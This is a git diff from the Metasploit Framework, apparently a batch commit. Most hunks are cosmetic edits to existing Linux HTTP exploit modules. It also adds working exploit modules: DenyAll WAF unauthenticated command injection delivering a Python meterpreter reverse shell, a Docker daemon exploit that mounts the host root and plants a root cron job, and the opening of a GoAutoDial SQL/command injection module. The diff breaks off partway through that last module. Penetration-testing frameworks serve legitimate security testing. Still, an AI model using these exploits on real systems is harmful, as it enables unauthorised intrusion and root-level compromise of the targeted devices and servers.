diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb
index ddb37d3a72..15226780cc 100644
--- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb
+++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     select(nil, nil, nil, 10.0)
   end
-
 end
diff --git a/modules/exploits/linux/http/denyall_waf_exec.rb b/modules/exploits/linux/http/denyall_waf_exec.rb
new file mode 100644
index 0000000000..ed10b7ba99
--- /dev/null
+++ b/modules/exploits/linux/http/denyall_waf_exec.rb
@@ -0,0 +1,105 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "DenyAll Web Application Firewall Remote Code Execution",
+      'Description'    => %q{
+        This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
+        terminal command under the context of the web server user.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2017-14706'],
+          ['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/'],
+          ['URL', 'https://www.denyall.com/blog/advisories/advisory-unauthenticated-remote-code-execution-denyall-web-application-firewall/']
+        ],
+      'DefaultOptions'  =>
+        {
+          'SSL' => true,
+          'RPORT' => 3001,
+          'Payload'  => 'python/meterpreter/reverse_tcp'
+        },
+      'Platform'       => ['python'],
+      'Arch'           => ARCH_PYTHON,
+      'Targets'        => [[ 'Automatic', { }]],
+      'Privileged'     => false,
+      'DisclosureDate' => "Sep 19 2017",
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
+      ]
+    )
+  end
+
+  def get_token
+    # Taking token by exploiting bug on first endpoint.
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
+      'vars_get' => {
+        'applianceUid' => 'LOCALUID',
+        'typeOf' => 'debug'
+      }
+    })
+
+    if res && res.code == 200 && res.body.include?("iToken")
+      res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
+    else
+       nil
+    end
+  end
+
+  def check
+    # If we've managed to get token, that means target is most likely vulnerable.
+    token = get_token
+    if token.nil?
+      Exploit::CheckCode::Safe
+    else
+      Exploit::CheckCode::Appears
+    end
+  end
+
+  def exploit
+    # Get iToken from unauthenticated accessible endpoint
+    print_status('Extracting iToken value')
+    token = get_token
+
+    if token.nil?
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    else
+      print_good("Awesome. iToken value = #{token}")
+    end
+
+    # Accessing to the vulnerable second endpoint where we have command injection with valid iToken
+    print_status('Trigerring command injection vulnerability with iToken value.')
+    r = rand_text_alpha(5 + rand(3));
+
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
+      'vars_post' => {
+        'iToken' => token,
+        'tag' => 'tunnel',
+        'stime' => r,
+        'type' => "#{r}$(python -c \"#{payload.encoded}\")"
+        }
+    })
+
+  end
+end
diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb
index 8f1f3b9583..03b36f94d8 100644
--- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb
+++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'D-Link authentication.cgi Buffer Overflow',
       'Description'    => %q{
-        This module exploits an remote buffer overflow vulnerability on several D-Link routers.
+        This module exploits a remote buffer overflow vulnerability on several D-Link routers.
         The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
         long password values. The vulnerability can be exploitable without authentication. This
         module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb
index 61535552ac..5e56148231 100644
--- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb
+++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return nil
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb
index 4ad1125ffd..52fb7746a7 100644
--- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb
+++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb
index df9823c231..ac7f259b04 100644
--- a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb
+++ b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
index a117ca7577..120c3bf59a 100644
--- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
+++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -218,5 +218,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
index e8780131a5..bdb59dbd84 100644
--- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
+++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return nil
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
index e69621529f..15b5068af6 100644
--- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
+++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,5 +121,4 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
   end
-
 end
diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb
index 69650003f6..28179383f4 100644
--- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb
+++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -254,5 +254,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb
index 6104c0facf..a3df57322a 100644
--- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb
index 2bb3d2fb6e..f52e9b9ded 100644
--- a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb
+++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'D-Link info.cgi POST Request Buffer Overflow',
       'Description'    => %q{
         This module exploits an anonymous remote code execution vulnerability on different D-Link
-        devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
+        devices. The vulnerability is a stack based buffer overflow in the my_cgi.cgi component,
         when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
         handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
         environment.
diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb
index 3ec8f0be92..b04414e555 100644
--- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb
+++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb
index e50f29cc64..d405e08279 100644
--- a/modules/exploits/linux/http/dlink_hnap_bof.rb
+++ b/modules/exploits/linux/http/dlink_hnap_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'D-Link HNAP Request Remote Buffer Overflow',
       'Description'    => %q{
         This module exploits an anonymous remote code execution vulnerability on different
-        D-Link devices. The vulnerability is due to an stack based buffer overflow while
+        D-Link devices. The vulnerability is due to a stack based buffer overflow while
         handling malicious HTTP POST requests addressed to the HNAP handler. This module
         has been successfully tested on D-Link DIR-505 in an emulated environment.
       },
diff --git a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb
index bac80a2cc1..f5e0a60c9d 100644
--- a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb
+++ b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
index cf9d9f107d..9fe0cb6d62 100644
--- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb
+++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
index f7cef2ffb4..4da101a39b 100644
--- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
+++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb
index 4837b5d410..c19005443c 100644
--- a/modules/exploits/linux/http/dnalims_admin_exec.rb
+++ b/modules/exploits/linux/http/dnalims_admin_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
new file mode 100644
index 0000000000..c733b2440c
--- /dev/null
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -0,0 +1,207 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'             => 'Docker Daemon - Unprotected TCP Socket Exploit',
+      'Description'      => %q{
+        Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
+        with tls but without tls-auth), an attacker can create a Docker
+        container with the '/' path mounted with read/write permissions on the
+        host server that is running the Docker container. As the Docker
+        container executes command as uid 0 it is honored by the host operating
+        system allowing the attacker to edit/create files owned by root. This
+        exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
+        the host server.
+
+        The Docker image should exist on the target system or be a valid image
+        from hub.docker.com.
+      },
+      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
+      'License'          => MSF_LICENSE,
+      'References'       => [
+        ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
+        ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
+      ],
+      'DisclosureDate'   => 'Jul 25, 2017',
+      'Targets'          => [
+        [ 'Python', {
+          'Platform'     => 'python',
+          'Arch'         => ARCH_PYTHON,
+          'Payload'      => {
+            'Compat'     => {
+              'ConnectionType' => 'reverse noconn none tunnel'
+            }
+          }
+        }]
+      ],
+      'DefaultOptions'   => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
+      'DefaultTarget'    => 0))
+
+    register_options(
+      [
+        Opt::RPORT(2375),
+        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
+        OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
+      ]
+    )
+  end
+
+  def check_image(image_id)
+    vprint_status("Check if images exist on the target host")
+    res = send_request_raw(
+      'method'  => 'GET',
+      'uri'     => normalize_uri('images', 'json')
+    )
+    return unless res and res.code == 200 and res.body.include? image_id
+
+    res
+  end
+
+  def pull_image(image_id)
+    print_status("Trying to pulling image from docker registry, this may take a while")
+    res = send_request_raw(
+      'method'  => 'POST',
+      'uri'     => normalize_uri('images', 'create?fromImage=' + image_id)
+    )
+    return unless res.code == 200
+
+    res
+  end
+
+  def make_container_id
+    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
+
+    rand_text_alpha_lower(8)
+  end
+
+  def make_cmd(mnt_path, cron_path, payload_path)
+    vprint_status('Creating the docker container command')
+    echo_cron_path = mnt_path + cron_path
+    echo_payload_path = mnt_path + payload_path
+
+    cron_command = "python #{payload_path}"
+    payload_data = payload.raw
+
+    command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
+    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
+    command << "echo \"\" >> #{echo_cron_path} && "
+    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
+
+    command
+  end
+
+  def make_container(mnt_path, cron_path, payload_path)
+    vprint_status('Setting container json request variables')
+    {
+      'Image'       => datastore['DOCKERIMAGE'],
+      'Cmd'         => make_cmd(mnt_path, cron_path, payload_path),
+      'Entrypoint'  => %w[/bin/sh -c],
+      'HostConfig' => {
+        'Binds'    => [
+          '/:' + mnt_path
+        ]
+      }
+    }
+  end
+
+  def del_container(container_id)
+    send_request_raw(
+      {
+        'method'  => 'DELETE',
+        'uri'     => normalize_uri('containers', container_id)
+      },
+      1 # timeout
+    )
+  end
+
+  def check
+    res = send_request_raw(
+      'method'   => 'GET',
+      'uri'      => normalize_uri('containers', 'json'),
+      'headers'  => { 'Accept' => 'application/json' }
+    )
+
+    if res.nil?
+      print_error('Failed to connect to the target')
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res and res.code == 200 and res.headers['Server'].include? 'Docker'
+      return Exploit::CheckCode::Vulnerable
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    # check if target is vulnerable
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Failure::Unknown, 'Failed to connect to the target')
+    end
+
+    # check if image is not available, pull it or fail out
+    image_id = datastore['DOCKERIMAGE']
+    if check_image(image_id).nil?
+      fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
+    end
+
+    # create required information to create json container information.
+    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
+    payload_path = '/tmp/' + rand_text_alpha(8)
+    mnt_path = '/mnt/' + rand_text_alpha(8)
+    container_id = make_container_id
+
+    # create container
+    res_create = send_request_raw(
+      'method'  => 'POST',
+      'uri'     => normalize_uri('containers', 'create?name=' + container_id),
+      'headers' => { 'Content-Type' => 'application/json' },
+      'data'    => make_container(mnt_path, cron_path, payload_path).to_json
+    )
+    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
+
+    print_status("The docker container is created, waiting for deploy")
+    register_files_for_cleanup(cron_path, payload_path)
+
+    # start container
+    send_request_raw(
+      {
+        'method'  => 'POST',
+        'uri'     => normalize_uri('containers', container_id, 'start')
+      },
+      1 # timeout
+    )
+
+    # wait until container stopped
+    vprint_status("Waiting until the docker container stopped")
+    res_wait = send_request_raw(
+      'method'  => 'POST',
+      'uri'     => normalize_uri('containers', container_id, 'wait'),
+      'headers' => { 'Accept' => 'application/json' }
+    )
+
+    # delete container
+    deleted_container = false
+    if res_wait.code == 200
+      vprint_status("The docker container has been stopped, now trying to remove it")
+      del_container(container_id)
+      deleted_container = true
+    end
+
+    # if container does not deploy, remove it and fail out
+    unless deleted_container
+      del_container(container_id)
+      fail_with(Failure::Unknown, "The docker container failed to deploy")
+    end
+    print_status('Waiting for the cron job to run, can take up to 60 seconds')
+  end
+end
diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb
index 134a4eb7a4..0144651360 100644
--- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb
+++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb
index 65eb8168cd..811cb40745 100644
--- a/modules/exploits/linux/http/dreambox_openpli_shell.rb
+++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb
index 610ba17a64..1d0eac3cd5 100644
--- a/modules/exploits/linux/http/efw_chpasswd_exec.rb
+++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
      end
 
   end
-
 end
diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb
index a8aadc57e5..0fe0b4b118 100644
--- a/modules/exploits/linux/http/empire_skywalker.rb
+++ b/modules/exploits/linux/http/empire_skywalker.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,7 +189,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if staging_key.nil?
       fail_with(Failure::Unknown, 'Failed to recover the staging key')
     end
-    vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
+    vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
     staging_key = staging_key.pack('C*')
 
     rsa_key = OpenSSL::PKey::RSA.new(2048)
@@ -204,13 +204,13 @@ class MetasploitModule < Msf::Exploit::Remote
       'uri'       => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
     })
     fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
-    vprint_status("Successfully sent the RSA key")
+    vprint_good("Successfully sent the RSA key")
 
     # decrypt the response and pull out the epoch and session_key
     body = rsa_key.private_decrypt(res.body)
     server_epoch = body[0..9].to_i
     session_key = body[10..-1]
-    print_status('Successfully negotiated an artificial Empire agent')
+    print_good('Successfully negotiated an artificial Empire agent')
 
     payload_data = nil
     payload_path = '/tmp/' + rand_text_alpha(8)
diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb
index ad58d7a292..d37733ccc0 100644
--- a/modules/exploits/linux/http/esva_exec.rb
+++ b/modules/exploits/linux/http/esva_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -89,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_good("Command executed successfully")
     print_status("Output: \n#{res.body.split("Learned tokens")[0]}")
   end
-
 end
diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb
index e81b0d05da..e70ceec959 100644
--- a/modules/exploits/linux/http/f5_icall_cmd.rb
+++ b/modules/exploits/linux/http/f5_icall_cmd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb
index 260492afca..4aedd94b9a 100644
--- a/modules/exploits/linux/http/f5_icontrol_exec.rb
+++ b/modules/exploits/linux/http/f5_icontrol_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb
index 34538d5229..38a36704df 100644
--- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb
+++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb
index c4bd8ab1eb..4b9dacf359 100644
--- a/modules/exploits/linux/http/fritzbox_echo_exec.rb
+++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/github_enterprise_secret.rb b/modules/exploits/linux/http/github_enterprise_secret.rb
index ba914ba612..ab198e1c9b 100644
--- a/modules/exploits/linux/http/github_enterprise_secret.rb
+++ b/modules/exploits/linux/http/github_enterprise_secret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,7 +164,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status('Sending serialized Ruby stager...')
     send_serialized_data(dump, hmac)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb
index 1049eb3046..f9c29fa017 100644
--- a/modules/exploits/linux/http/gitlist_exec.rb
+++ b/modules/exploits/linux/http/gitlist_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Gitlist Unauthenticated Remote Command Execution',
       'Description'    => %q{
           This module exploits an unauthenticated remote command execution vulnerability
-        in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
+        in version 0.4.0 of Gitlist. The problem exists in the handling of a specially
         crafted file name when trying to blame it.
       },
       'License'        => MSF_LICENSE,
@@ -113,5 +113,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     res
   end
-
 end
diff --git a/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb b/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb
new file mode 100644
index 0000000000..86e1e5bd3c
--- /dev/null
+++ b/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb
@@ -0,0 +1,163 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'GoAutoDial 3.3 Authentication Bypass / Command Injection',
+      'Description'     => %q{
+        This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges.
+
+        This module has been tested successfully on GoAutoDial version 3.3-1406088000.
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Chris McCurley',  # Discovery & Metasploit module
+        ],
+      'References'      =>
+        [
+          ['CVE', '2015-2843'],
+          ['CVE', '2015-2845']
+        ],
+      'Platform'        => 'linux',
+      'Arch'            => [ ARCH_X86, ARCH_X64 ],
+      'Targets'         => [ ['Automatic', {} ] ],
+      'DefaultOptions'  =>
+        {
+          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
+          'CMDSTAGER::FLAVOR' => 'echo'
+        },
+      'CmdStagerFlavor' => %w{ echo printf wget },
+      'DefaultTarget'   => 0,
+      'Privileged'      => true,
+      'DisclosureDate'  => 'Apr 21 2015'))
+
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 443]),
+        OptBool.new('SSL', [false, 'Use SSL', true]),
+        OptString.new('TARGETURI', [true, 'The base path', '/'])
+      ])
+  end
+
+
+  def check
+    res = check_version
+
+    unless res
+      vprint_error "#{peer} Connection failed"
+      return CheckCode::Unknown
+    end
+
+    unless res.code == 200 && res.body =~ /goautodial/
+      return CheckCode::Safe
+    end
+
+    unless res.body =~ /1421902800/
+      return CheckCode::Vulnerable
+    end
+
+    CheckCode::Safe
+  end
+
+  def check_version
+    uri = target_uri.path
+
+    send_request_cgi({
+      'uri'     => normalize_uri(uri, 'changelog.txt'),
+      'headers' => {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity'
+      }
+    })
+  end
+
